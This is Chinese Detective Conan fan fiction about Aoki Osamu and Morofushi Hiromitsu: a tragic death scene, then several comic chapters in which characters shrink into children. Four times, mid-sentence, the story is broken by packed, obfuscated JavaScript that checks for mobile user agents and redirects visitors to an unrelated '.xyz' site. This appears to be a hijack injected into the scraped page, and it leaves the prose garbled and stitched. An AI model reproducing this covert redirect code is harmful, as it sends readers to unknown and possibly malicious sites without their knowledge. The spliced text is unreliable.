他意识到自己现在的状态有点不太对,心跳飙升,呼吸急促,整个人极为亢奋,到最后甚至演变成了他一个人对这些还埋伏在办公室里的人的虐杀,还是匆匆赶来的降谷零喝停了他。 “青木修!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720679|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 降谷零一出实验室就被抓住告知了诸伏景光的伤势,当即来找青木修。 被点到名字的青木修扣动板机的动作停了下,顺着声音的方向看了过去。 “你……”降谷零被他赤红的双眼下了一跳,“你快上去……hiro他,不太好。” 青木修持枪的手脱力似的垂下,“这么久为什么还不送他去医院!” 他的时间感已经混乱了,压根不清楚其实并没有过去几分钟。 “你……” 降谷零看到他有些涣散的目光,直接往前一步拉着他就往上跑。 青木修耳边是自己的心脏剧烈跳动的声音,他估计现在的心跳早就超出了正常范围。但是惦记着诸伏景光,他没有把自己的不适说出来。 “景光!” 虽然还是看不清,但他一抬眼就锁定了那一大片猩红所处的方向,挣脱降谷零的手奔了过去。 “景光……” 他很惶恐,艰难地摸到诸伏景光的脸,轻轻晃动,“你怎么了?说话啊!” “嗬嗬……嗬……” 回答他的是微不可闻的气音。 青木修眼泪“刷”一下流出来,抱着诸伏景光一只胳膊,无助地抬起头,看向身边模糊的人形,“你们救救他啊!” “求求你们……救救他……” 不知道是谁,轻轻叹了口气。 “诸伏警官被那一枪打中了脖子。” 有防弹衣有头盔,却打中了他的脖子。 青木修的声音一下子消失了。 他哆哆嗦嗦俯下身子,让自己的耳朵贴近诸伏景光。 “你告诉我……这是假的,你没有事对不对?!” 他忽然感觉到自己的手背被人轻轻碰了下。 “我在……我在……” 他很是费力地听见了诸伏景光在说话。 血呛入了气管,诸伏景光发音很困难。 “我……我爱你……” 青木修睁大了眼睛拼命想要看清诸伏景光的脸,可无论他怎么努力,眼前都只有模糊的色块。 “你这个混蛋……你又要丢下我吗?!” 诸伏景光扯了下嘴角,不过青木修看不见。 青木修从周围人的沉默中感到了绝望,他慢慢俯下身子,让自己的额头贴着诸伏景光。 “降谷警官,这……” “忙你们的去吧,我要冷静一下。” 降谷零抬头,想要把眼泪憋回去,但是失败了。 他默不作声地找赤井秀一要了一支烟。 烟灰落了满地,一直到明月高悬,这一片空地都没有一个人说话。 赤井秀一伸手准备再摸一支烟,结果却摸了个空。 “零君,回去吧。” 降谷零如梦初醒,活动了下僵硬的身体,深吸一口气,做好了心理准备去拍青木修。 “青木……青木?” 青木修没有动静,降谷零心里咯噔一下,惊疑不定地看了赤井秀一一眼。 后者上前一步,从另一个方向拍了拍青木修的肩膀。 还是没动静。 两个人你看看我我看看你,直觉大事不妙,连忙凑到青木修的身边,抬手稍微用了些力气地扒拉了他一下。 青木修竟是顺着他们的力道向后栽倒去! 降谷零瞳孔一缩,意识到发生了什么,手指贴在青木修颈侧。 赤井秀一看向他,“怎么样?” “……” 降谷零没说话,只是摇摇头,意味不言而喻。 “……” “……” 两人又是一阵沉默,看着青木修和诸伏景光仍旧紧紧抓在一起的手,心头颤了颤。 就算是死亡也无法再将我们分开。 93.青木修变小if 青木修他们组为了追捕一个跨国犯罪团伙连续加了一个月的班,连着熬通宵是常有的事。得知嫌疑人抓捕归案,诸伏景光第一时间让他们组各回各家好好休息两天,自己则是留在警察厅整理他们交上来的报告。 等他处理完桌子上的文件,窗外天已经亮了。 “还没醒吗……” 他低头看了看时间,正常来说青木修起床时间都很早,不过连轴转这么久,睡个懒觉也正常。 这么想着,诸伏景光收拾好桌面,最后检查了一遍自己发送的工作报告,回家时顺路给青木修带了早餐。 “我回来了。” 他害怕惊醒了青木修,进门时声音并不大。 公寓里安安静静地,基本上还保持着自己前一天离开前的样子。 诸伏景光把早餐放进保温,自己轻手轻脚推开了卧室的门。 床上的被子鼓鼓囊囊搅成一团。 “青木?” 诸伏景光有点疑惑,看上去被子的实时面积似乎并不足以遮盖住整个青木修。 难道在洗手间? 他满腹疑问地回头看了眼,洗手间里非常安静,怎么也不像是有人的样子。 “青木?” 他稍稍放开声音喊了一声,突然发现床上的那团被子似乎抖了一下。 “发生什么……了?” 他上手掀开被子,话说到一半突然卡住了: 被子里躲着一个正怯生生看着他的小孩。 “你是谁?不对,青木?” 那双灰色的眼睛指向性实在太明显,他也不会猜到其他的地方去。 “你是谁?” 小孩没回话,犹豫了一会儿低声反问他。 “我是诸伏景光,你呢?” 从青木修的反应来看,诸伏景光察觉到了一丝异常。 “我是杜林标。” 杜林标,这个本应该埋葬在过去,腐烂在时间里的代号。 诸伏景光大脑重启,意识到青木修可能是因为某些不明原因变回了小孩的样子——记忆也跟着倒退了的那种。 他俯下身,拉近了自己和青木修之间的距离,冲着小孩微微一笑。 “你还记得发生了什么吗?” 小青木修又往后缩了一点,“先生说今天有检查……” 他抬眼可怜兮兮地看着诸伏景光,“请问这里是哪里?可以麻烦你送我回去吗?……拜托你了。” 诸伏景光对上他水润的眼睛,心都化了一半。 “已经没有检查了,也没有那些人了。” 他握住小孩的一只手,“一切都已经结束了,你现在有名字了,你是青木修。” 青木修懵懂地歪歪头,“没有实验了吗?” “没有了。” 灰色的眼睛“唰”亮了,笼罩在小孩眼前的那层阴霾忽然间就散了。 “那我现在在哪里?” 在他看来,自己不过是睡了一觉就摆脱了那个魔窟,天降大喜差点把他砸蒙了。 “你在家里啊,”诸伏景光拉来凳子在床边坐下,“你现在应该是……一些原因造成的意外,实际上已经过了很久,你已经长大了。” “唉?!” 青木修眼睛一下子睁圆了,“过去了很多年?!我长大了?!” 他表现得很兴奋,“那姐姐呢?他们在哪里?” 他说的是那些和他同一批诞生的实验体。 诸伏景光脸上的笑意淡了几分。 “……抱歉,他们都已经……” 青木修对眼前这个猫眼男人好感很高,一开始的戒备也基本上没了,直接伸手捂住了诸伏景光的嘴巴。 “你不要说了,我知道的。” 很早之前他们就知道,自己随时都会迎接死亡。 “那你呢?” 他想要岔开话题的意图太明显,不过诸伏景光也没打算让他在这个话题上伤心,干脆顺着他的话。 “我?” 他看着眼前脸颊上还有一点没有长开的软肉的青木修,忽然起了一点坏心思。 “你要不要猜一猜?” 青木修眨眨眼,往前爬了一点,凑近诸伏景光上上下下仔细打量了一圈。 “你……” 他找遍了自己所有的记忆,都没有找出过和诸伏景光相似的脸。 “我确实没见过你……” 但是诸伏景光那张脸的诱惑性太强,他努力想要移开自己的视线,却总是不由自主地转回去。 “你好好看啊。” 小孩子归根结底还是小孩子,想不通的事情可以放一放。他突然发力,对准诸伏景光的脸颊“吧唧”就是一口! “嘿嘿……”小家伙笑得眼睛都眯了起来,“不过我喜欢你!” 本来是想逗一逗青木修的诸伏景光觉得自己才是被逗的那一个,不用照镜子他都知道自己现在是个什么状态:他的脸颊温度瞬间上升到了一个他自己都忽略不了的程度。 “诸伏先生,你脸红啦。” 青木修放下了起先的紧张,笑意盈盈看他。 “我们……”诸伏景光斟酌了下,但并没有找到什么更合适的词汇,索性实话实说。 “我们是恋人。” “唉?!” 这一次青木修的反应还要大,诸伏景光眼前一花,小孩就已经退到最边缘,和自己拉开了几乎整张床的距离。 “我们怎么会?” “我没必要骗你。” 诸伏景光此刻耐心十足,转身取来了青木修的证件。 “你看,这是你现在的样子。” 青木修还是接下了他递来的几份资料。 看着照片上长大后的自己,青木修还有些不习惯,“我以后就是这样子的吗?” “嗯。” 诸伏景光眼睛几乎黏在了青木修身上。 那些他错过的曾经,上天似乎给了他一个温习的机会。 青木修凝视着照片上那个长大的自己,一时间不知道该说些什么。 眼前这个人没有骗自己,照片上的人就是自己无疑,那种面对镜头的紧张感,很难修出来。 “还有什么问题吗?” 诸伏景光的声音适时想起,拉回了青木修的思绪。 “没有了,”他摇摇头,“有什么是需要我做的吗?” “稍等我一下。” 诸伏景光起身给降谷零和黑田兵卫分别打了个电话给自己和青木修请了假,这才重新坐回床边。 “你想去游乐园看看吗?” “游乐园?”青木修眼中透露出几分渴望,“是那种专门玩的地方?” “是。” 事实证明,着实不能把青木修当作普通小孩看。 大型过山车他现在的身高不够,那些儿童款的他倒是坐了个遍,并且和周围大声尖叫的孩子们形成了鲜明对比。 青木修安安静静地坐在座位里,不哭不闹,不停地四下张望。 诸伏景光就在下方拿着手机给他拍照,在青木修不知道的角度,诸伏景光抢拍了很多他做各种小表情的瞬间,统统加入到手机中专门的相册中。 “想要吗?” 凡是青木修盯了超过十秒的东西,他都会弯腰询问。不过这么做意义并不大,青木修基本上只会乖乖回答“不要”,诸伏景光基本上都会直接把东西买下来塞进他手里。 路过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14731340|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 射气球的摊位,青木修的视线被一只毛绒小猫所吸引。 “猫猫。” 这只橘黄色的毛绒小猫和他出门前在客厅里看见的那一只橘猫很像。 他拽住诸伏景光的衣角,非常明确地表达了自己的想法。 “景光,想要那个。” 诸伏景光顺着他的手指看到了毛绒小猫,立刻明白过来他会被吸引的原因。 “过来吧。” 他把青木修牵到摊位前,把手中的东西放在一旁的桌子上,找老板买了些游戏子弹。 “啪!” 这种游戏枪比他过去天天背着的那些货真价实的狙击枪要轻得多,他放在手里颠了几下,差不多找到了手感就果断对着气球开了枪。 不多时,诸伏景光周围就驻足了一圈小孩。 最后青木修在一众小孩艳羡的目光中骄傲地从诸伏景光手里接过了毛绒小猫。 “呦,景老爷?” 执勤的松田阵平远远看见了诸伏景光,不过一直等到人走近了才打招呼。 “今天翘班啦?和谁……这谁?!” 他的视线落在青木修的身上,鼻梁上的墨镜好险没有掉下来。 青木修看着眼前这个带着墨镜的卷毛警官,不动声色往诸伏景光背后躲了下。 “这……” 诸伏景光正要解释,忽然被闻声找来的萩原研二打断。 “哇塞,小诸伏你什么时候和青木有这么大的孩子了啊?” 诸伏景光额头上缓缓蹦出了一个井字。 “好啦好啦,不和你开玩笑了。” 松田阵平好歹拉住了萩原研二,“话说这是怎么回事?” 诸伏景光先是轻声把青木修从自己背后牵了出来才回答他的问题。 “这就是青木,”他神色看上去有些无奈,“今天早上一回家他就是这样了,也不记得之前的事情。” “去医院检查了吗?” 听到“检查”两个字,青木修没动弹,但是和诸伏景光牵在一起的手却用了些力道。 “没,我先检查了下,他没有哪里不舒服,准备等等看,明天要是还是这个样子,我们再去医院。” 在没有记忆的青木修的眼里,他们就是一群看上去没有恶意的陌生人,突然带他去医院做检查,只会进一步刺激到青木修,破坏他们之间的信任。 “那好吧,”见他并不紧张,爆处班两人也松了口气,“有什么要帮忙的直接给我们打电话就行。” 诸伏景光也没和他们客气,“放心,有需要直接给你们打电话。” 由于不知道青木修会在这个状态保持多久,诸伏景光给他买了合身的睡衣。 “早点睡吧。” 青木修困得眼睛都要睁不开了,诸伏景光轻轻亲了一下他的额头,把人塞进了被窝裹成一个茧。 虽然样貌还是小孩子,不过身体是青木修自己的,和普通人相比起来,他的体温有些低。 毛毛虫拱了几下,让自己凑近了诸伏景光,才心满意足地闭上了眼睛。 . 第二天一早,诸伏景光的生物钟准时将他唤醒,一睁眼便对上了一双灰色的眼睛。 “嗯?” 他瞬间清醒,“什么时候变回来的?” 青木修有些尴尬地摸了摸鼻子,“昨晚上就变回来了。” 诸伏景光又追问了几句,青木修都躲躲闪闪地回答了。 “你……在害羞?” 被戳中了心事的青木修反手把自己裹成了茧,字面意义地消极抵抗。 诸伏景光把蚕茧翻了过来,让青木修面对自己。 “我很高兴,能有一次参与你过去的机会。” 94.诸伏景光变小if “景光!景光!” 青木修一睁眼就收到了一个大“惊喜”,这几天诸伏景光都在加班,前一晚又收到了他的短信,自己就先睡下了,半夜感觉到身边有人躺下,是诸伏景光的气息,自己也就没睁眼。 谁知道一觉醒来自己身边会多一个小孩啊! “你你你……” 身边的小孩被他的动静吵醒,缓缓睁开眼睛。 “青木,怎么……” 他刚说了几个字,忽然感觉自己声音不对,低头一看也愣了。 “什么情况?!” 青木修直接把他抱起来上上下下检查了一番,“你怎么样了?有没有哪里不舒服?感觉还好吗?疼不疼?” 他一连串问题快把诸伏景光问蒙了,变小的诸伏警官艰难地摆摆手,“我没事儿,你先放我下来。” 青木修小心翼翼把他放下,依旧是一脸紧张。 诸伏景光现在的情况实在是很难不让他联想到组织曾经的那些实验。 “现在还好,就是昨天晚上感觉有点不舒服,我也没注意。” 短短几分钟,青木修眼睛都红了,整个人身体紧绷,像是一只蓄势待发的猎犬。 “你放松点,应该和这几天研究所那边的成果有关系。” “研究所?是……” “没错,”诸伏景光点点头,用自己现在还有一点肉的小手抚上青木修紧紧皱在一起的眉头,“你们上个星期缴获的那些东西,这几天研究所那边有进展,说是和当初从黄昏别馆里查出来的资料里有些相似的地方。” “那怎么会影响到你?” “那个嘛……” 诸伏景光难得在青木修面前表现出心虚的样子。 “老实说哦,不然我去问降谷。” 凡是和组织有关系的事情,青木修都格外上心,也是少有的会在诸伏景光面前板脸的时候。 “研究所出了比对结果,我去那报告,顺道看了下样品。” “继续。” 青木修抬抬下巴,清楚他话只说了一半。 诸伏景光心知今天不把这事儿解释清楚就什么都不用干了,不得不“老实交代”了。 “我看完样品出来,在隔离间,摘了口罩还没摘手套,蹭了下脸……可能沾了什么东西留在嘴巴上了?” 说到最后几个字,诸伏景光很明显声音低了下去。 青木修嘴巴动了动,诸伏景光看他表情,应该骂的挺脏。 “你等等。” 他翻身下床拿起手机,先是向黑田兵卫请了假,接着又给降谷零打去了电话,简单问了下研究所那边的情况。 “怎么了?” 电话另一头降谷零也紧张了起来,“怎么?是不是和组织还有关系?” “这倒不是,”他回头看了眼诸伏景光,“景光变小了……呃,可能是沾了研究所那边的样品?” “什——么?!” 电话另一头的降谷零也发出了惊呼,坐在前面开车的风见裕也都给吓了一跳,好险没把方向盘打出去。 “降谷先生?” 降谷零冲他一摆手,“没事,继续开车。” 他转头继续问,“hiro怎么样?没事吧?” “他说没什么问题,我准备先带他去一趟医院做个检查,然后再去研究所那边问问。” “行,要不你先带hiro去医院,我正好要去一趟研究所,到时候我们在那里见面?” “可以。” “那个,我……” 诸伏景光试图给自己争取一点发言权。 “呐,犯了低级错误的警官先生暂时没有发言权。” 跟诸伏景光在一起久了,青木修也学会了偶尔耍几句嘴皮子。 他以最快的速度跑到附近已经开业的服装店里买了一套合身的衣服,拎回来将就着给诸伏景光换上。 “还合身么?” 诸伏景光晃晃胳膊腿活动了下,有点子疑惑,“你什么时候量的尺寸?” 青木修咧嘴一笑,伸手在眼睛前比划了一下,“一眼看过去就估的差不多了。” “下次zero那边的现场再缺人,我让你过去。” 青木修瞬间举手,“诸伏警官,你就当我刚刚什么都没说。” 他表情很认真,但是对着小小一只的诸伏景光,画面有一点喜感。 青木修直接把诸伏景光拎去了警察医院,急诊的医生还跟他打趣。 “青木警官,从哪儿捡的孩子?” 青木修把诸伏景光直接从背后拎出来,“呐,是诸伏警官。” “诸伏……等等?诸伏警官?” 医生身手灵活地单手撑过诊台冲到两人面前,一把子薅起来诸伏景光上下打量。 “这是诸伏警官?怎么成这样了?” 这位医生出生在关西,到现在说话时一激动还冒一点关西腔。 “嗯,出了一点意外,先带他来检查下有没有问题。” 医生惊讶归惊讶,医生还是很快地给他安排了全套的检查。 “已经出结果的都没问题,还有两个项目还没出结果,不过就现在的报告来看,应该也没问题。” “谢谢您。” 把检查结果都收拾好,青木修又马不停蹄带着诸伏景光赶去了研究所。 “降谷!” 他一路背着诸伏景光火花带闪电冲进了研究所,堪堪在降谷零面前两步远的地方刹住了脚。 “你现在……” 降谷零看着他背上的诸伏景光,抿着嘴笑了一下。 深知他什么脾性的诸伏景光当即觉得不妙,挣扎着伸手想要捂他的嘴,奈何受限于当前的手长,没够着。 “青木,你现在很有又当爸又当妈的感觉。” 青木修以肉眼可见的速度从脖子红到了脸,“那个……呃……” “你还没习惯啊?研二他们应该很熟练了?” 青木修一手拖住诸伏景光一只手捂眼睛,“别提了……” 萩原研二和松田阵平简直对逗他这件事乐此不疲,见一次说一次,青木修也回回脸红,无一例外。 “好了好了,研究所那边已经有猜测了,说是要采个血。” 青木修过去的特殊经历导致他对采血这种事情异常敏感,几个人都习惯了在涉及到这件事上的时候提前知会他一声。 “没事。” 诸伏景光还在青木修背上,只能捏捏他的肩膀。 “没事,能出结果就行。” 青木修脸上的表情让两个人都猜不出来他心里的想法,只能姑且认为他说的就是心里想的。 三个人在检测室门外做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751647|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一排,两个大的中间夹着一个小的。 诸伏景光和降谷零两个人之间眼神交流一刻也没停下,一旁的青木修压根没注意他们之间的小动作,全程弓着背抱着头,眼睛直勾勾盯着地面,浑身上下写满了焦虑。 “结果出来了。” 青木修瞬间抬头看向了出门的研究员。 “那个……” 研究员被他的眼神吓得后退了一步,又看向了降谷零和诸伏景光。 “没事,说吧。” “诸伏警官应该就是昨天蹭脸的动作导致误食了手套上的样本残留物。” “……” “……” 这一次轮到诸伏景光被两个人同时死亡凝视了,一左一右,让他躲都没办法躲。 “景光——” “hiro——” 两人对视一眼,异常默契地同时控制住了准备溜号的诸伏景光。 “那他什么时候才能恢复?” 把诸伏景光交给降谷零看着,青木修站起来和研究员继续沟通。 “这就相当于一种……逆向药物,用缓释剂就行了。” “那缓释剂呢?” “材料都很齐全,明天,最迟后天就能出来。” “辛苦。” 得知诸伏景光无碍,青木修顿时松了一口气,冲着研究员深深鞠了一躬。 他心中的大石头落了地,才颤巍巍给诸伏高明打去了电话。 谁知道诸伏高明反应也不小,挂了电话就直奔东京。 “景光……” 见到意外变小的弟弟,诸伏高明有些触动。 诸伏景光现在的样子比诸伏夫妇出事前还小一点。 “哥,研究所说了没事。” “嗯,小修都告诉我了。” 诸伏高明嘴上应着,动作非常诚实的抱住了诸伏景光。 “哥?” 青木修看了眼他们,隐约猜到了是什么原因。 “没事,就是觉得……景光长大了。” “怎么突然这么说?” 诸伏高明没答话,只是跟青木修一样,把诸伏景光抱起来掂了掂。 “真的变小了。” 诸伏高明放下他的时候抬了下眼睛,诸伏景光没看清,正准备,诸伏高明已经看向他了。 “我请了一天假。” “可以跟高明哥一起回长野吗?” 青木修立刻会意。 “哥哥就等着你这句话呢?” 诸伏景光从椅子上下来,“那家店还在吗?” “还在。” 注意到青木修有点懵,没跟上兄弟二人的谈话。 “是我们小时候的一家店,专门做荞麦面。” “上次高明哥你给我们带的那种吗?” “那种速食比那家店的味道差得远了。” 青木修眼睛亮起来,“那我们一起去尝尝!” 短短一天的行程没什么要带的东西,青木修简单收拾了个背包就抱着诸伏景光坐上了车。 虽然诸伏高明表现得不明显,但是车上另外两个人还是意识到了兄长的愉悦——向来比较内敛的诸伏高明破天荒和他们聊了一路。 车迎着夕阳驶入长野的地界,诸伏高明抬头看了一眼后视镜,他们一家,兄弟三人,团团圆圆。 95.众人带崽if1 降谷零充分发挥工作狂人的精神,早早来了警察厅准备和诸伏景光商量最近的一次外勤行动,谁料向来不会迟到的诸伏景光和青木修一直到过了上班时间半个小时都没有见到人影。 他隐隐有些不安,一口气喝空了刚买的咖啡,掏出手机准备给诸伏景光打电话。 还没把锁屏打开,诸伏景光的电话就打过来了。 “hiro!发生什么了?!你们没事吧?!” 他连珠炮似的问题把电话那头的诸伏景光问得噎住了,过了两秒才回答。 “zero,我们没……”他知道自己现在说的话可能没什么说服力,立刻改口,“我们……呃,遇到了一点小问题。” “出什么事了?” 降谷零顿时紧张起来,已经从办公椅上站了起来,随时都准备夺门而出。 “你别紧张,我和青木已经请过假了,就是和你说一声,让你别担心。” “不是,”降谷零炸毛,“到底是发生了什么啊hiro?你声音怎么这么小?!” 还在家里的诸伏景光动作一僵,心知不可能瞒过降谷零,犹犹豫豫说了实话。 “其实……就是……我和青木都变小了。” “什——么?” 降谷零一直服服帖帖落在额前的一点交叉刘海都翘了起来,“怎么搞得?!” 诸伏景光破罐破摔地抓抓头发,“我也不知道,一觉睡醒就发现我和青木都变成小孩了……你放心!我们已经通知哥哥了!” “高明哥就算赶来也不可能那么快吧?你等等——” 降谷零低头看了一眼自己今天的日程,抓起车钥匙冲出办公室。 “我这就来!” “唉zero你别——” 诸伏景光想要阻止他,不过已经来不及了,等自己把话说出口,降谷零就已经挂断了电话,只留下一串盲音。 “降谷怎么说?” 他挂断电话,回头看向站在自己身后的青木修。 “啊,那个……zero说他马上过来。” 他们两个现在都没有合身的衣服,只能套着有些过于宽大的衬衣和外裤,“啪嗒啪嗒”踢踏着拖鞋,在家里艰难移动。 天知道他们俩一觉醒来发现对象和自己双双变小是什么心情。 缓过神后的第一时间诸伏景光就给诸伏高明打去了电话,向这位家里目前字面意义上唯一的大家长发出求助。 电话里说不清楚,诸伏高明只能暂时按下心中的疑惑,表示自己会第一时间赶来东京。 这边诸伏景光还在琢磨两人突然变成这样的原因,那边青木修已经隐隐约约有了猜测。 “青木,你说……” 诸伏景光一边头脑风暴一边去看好半天没声音的青木修,发现对方还在自己的视线范围内就放心的转回去—— 他扭到一半的头又重新扭了回去。 青木修正以一种异常的脸红状态缩在被子里,只露出来了一个小脑袋,疑似是在散热。 “你怎么了?” 青木修支支吾吾没说话,有点埋怨又有点害羞地瞪了他一眼。 “……?” 莫名其妙收到老婆一枚白眼的诸伏警官表示疑惑。 “那里不舒服我现在就联系降谷……” 他依然锲而不舍地试图去摸青木修额头的温度,最后终于在后者地躲闪下明白了对方的意思。 “你是说……” “不然呢?” 青木修幽幽叹了一口气,露出半月眼。 他每年的体检总是不太好看,根本原因还是组织放在他心脏里的芯片和曾经的各种药物的毒素残余。诸伏景光反反复复想了很多办法,最后把希望放在了公安下属的医院和研究所。 昨天研究所那边传来好消息,配制出了一种能够缓解甚至有可能治愈青木修神经疼痛的缓释剂。 诸伏景光当即带着青木修马不停蹄去了研究所,通过过敏测试之后当时就服用了第一剂。 根据研究所那边实验报告,药物效果应该很不错,就是味道……有点一言难尽。 就连青木修喝完都是一副苦瓜脸,直奔诸伏景光要水喝。 诸伏景光非常坦然地“趁人之危”,向青木修讨了个吻。 经过一番回忆,诸伏景光也跟着变小的原因也明了了。 两人面面相觑。 钥匙转动的声音吸引了两人的注意力——降谷零来了。 “你们两个——” 金发公安看客厅里没人,踢了鞋子甩上门急冲冲就往卧室里冲,结果一推门,傻眼了。 “……” 这下子变成了三脸茫然。 降谷零大脑缓冲完毕后当即就要跳脚——这也不能怪他大惊小怪,眼前两人的样子很难不让人想起组织曾经像是痴人说梦的“目标”。 “呃……” 看降谷零的样子,似乎应该要把原因解释一下。青木修拍拍脸,好歹把脸上的温度降下来了一点,把前因讲完,后半段的后果由诸伏景光接力完成。 “哈?!” 降谷零也傻了,所以说青木修变小可能是药物反应,诸伏景光变小完全是他自己给自己找的意外?! 饶是身经百战如降谷零,也不知道该说些什么好。 诸伏景光正欲张嘴,降谷零突然一抬手制止了他。 “hiro你先等等。” ? 还没等两人摸清楚他又想到了什么,只听“咔嚓”两声,降谷零已经在低头打字了。 “zero你在干嘛?” 降谷零头也不抬,“哦,我发给那三个家伙看看。” “别——” 诸伏景光瞬间瞪大眼睛,拉着还懵懵坐在一边的青木修一起扑向了降谷零。 不过他还是反应慢了一步,降谷零笑着向他展示了几人小群里已经成功发出的照片。 正在茶水间的松田阵平最先看到,回了一个问号。 “他俩孩子都有了吗?” 诸伏景光看到萩原研二的疑问,感觉天塌了。 好在降谷零还不至于眼睁睁看着自己幼驯染的清白消失,好心帮他解释了一句。 没有任何悬念,在警视厅的三个人纷纷表示下班后在诸伏景光和青木修的公寓里见面。 三个人在客厅里等来了天降神兵一样的诸伏高明。 “呐,你和小修先去换衣服吧。” 这就是靠谱大家长的含金量!终于有人能记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764103|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来给两人带一套现在能穿的衣服了! 诸伏景光和青木修眼含热泪接过衣服钻回卧室。 接着一左一右看着放在床上的童衣陷入了沉默。 一只猫猫头,一只柴犬头。 “……穿吧。”青木修最先接受现实,猫猫头总比现在这样好点。 诸伏景光也没办法,两个人最后还是换上了诸伏高明不知道是有意还是无意买来的救急衣服。 “景光和小修很可爱啊。” 诸伏高明正在和降谷零说话,听到开门的声音,扭头看过去,没忍住笑了起来。 现在诸伏景光知道了,诸伏高明就是故意的。 降谷零要更加不客气一点,直接从沙发上笑到了地上,“hiro,你现在……哈哈哈哈……哈哈哈……” 两个人并排站着,看起来软软乎乎的,尤其是变成小孩后脸颊上多了一点软肉,平日里公安的威压荡然无存。 “我就知道。” 诸伏景光一副老成口气冲着青木修抬抬下巴。 青木修却有点忧心忡忡,摸了摸自己头顶帽子上的柴犬耳朵,“是滑稽吗?” “不是,”诸伏高明忍了半天还是没忍住,把离自己近一点的青木修拉了过来,隔着帽子摸了摸他的头,有揉了下他的脸。 “唔……” 青木修不明所以,任他“揉搓”,降谷零则是趁着诸伏景光全神贯注看着青木修的时候偷袭了他。 “呜哇!zero你放开我!” “hiro再让我捏一下!我之前就想这么做了!” 诸伏高明十分好心地从降谷零手里解救了自己的弟弟,当然,也没忘记揉一把。 “哥……” 头发都有点乱了的诸伏景光彻底没了挣扎的意志,决定躺平接受命运。 从来没有过这种经历的青木修反倒是接受良好,还鼓励似的拍拍他的肩膀。 诸伏景光有气无力地看了一眼他,最后一不做二不休也开始揉搓青木修的脸颊。 “青木,你好好看啊。” 两个人的心智似乎也受到了变小的影响,说话动作间都带了点孩子气。 “哦呜噶多……” 青木修想说谢谢,奈何受限于自己现在还在被诸伏景光揉捏,只能艰难地吐出几个模模糊糊的字音。 “你们联系研究所了吗?” 诸伏高明听完诸伏景光的解释,保险起见问了一句。 “已经联系了,研究所那边回复说正在紧急解析了,不过可能还是需要几天才能找出解决办法。” “没关系,我可以在这里待几天。” “嗯?” 这下子诸伏景光和青木修一起抬头。 “哥,会不会麻烦你?” “高明哥?” “不麻烦。” 诸伏高明一碗水端平,摸摸两个弟弟的脑袋。 “我很高兴。” 诸伏景光端详着下巴,青木修也跟着睁圆了眼睛,两个人把诸伏高明像是做CT一样扫了好几遍,确定他的高兴发自内心之后才放下心。 诸伏高明含笑任由两个弟弟围着自己转圈。 能够再一次看到弟弟的孩童模样,他真的很开心。 96.众人带崽if2 受到目前体型的影响,青木修和诸伏景光两个人没多久就开始犯困了,两个人在沙发上并排坐着,靠在一起,脑袋一点一点的。 “高明哥,下班之后我再过来。” 降谷零今天的主要工作都集中在下午,他出来只是挂了外勤,没有请假,下午的工作还需要他回去亲自处理。 “放心吧,这里有我在。” 诸伏高明应声,示意他可以放心回去工作。 降谷零出门时手机还在嘀嘀响个不停,他在等电梯的时候抽空看了一眼,六人小群里已经被另外三个人刷爆了,他手机都卡了一会儿。 诸伏高明送走降谷零,回到客厅凝望着沙发上的两个小孩。 猫爬架上的小橘今早一看到摇摇晃晃拖着衣服走出来的诸伏景光和青木修,当场就炸了毛,不过它很快就问出了眼前两人的味道和自己两个主人的气味一样,这才顺了毛,重新蹲回猫爬架,歪着头观察眼前这两个小小的人类。 诸伏高明它也见过,此时家里异常的安静,小橘小心翼翼观察了他好一会儿,在确认安全后纵身一跃,看上去十分灵活地落在了诸伏景光的肩膀上。 不过它显然对自己的体重没有一个清晰的认识,诸伏高明毫无防备,突然从天而降的重物直接把他砸得一个趔趄,肩膀一酸。 “……景光和小修平时都给你吃点什么?” 诸伏高明抬手,摸索了一会儿才揪住小橘的后颈皮把它拎到自己的面前,一人一猫四目相对。 小橘四肢在空中划了几下,在意识到挣扎无效后果断改变态度,冲着诸伏高明有些谄媚地低低“喵”一声。 只可惜它的示好并没有打动诸伏高明,他四下环视一圈,看到了放在电视柜下方的体重秤,一手抱猫一手把体重秤拖出来。 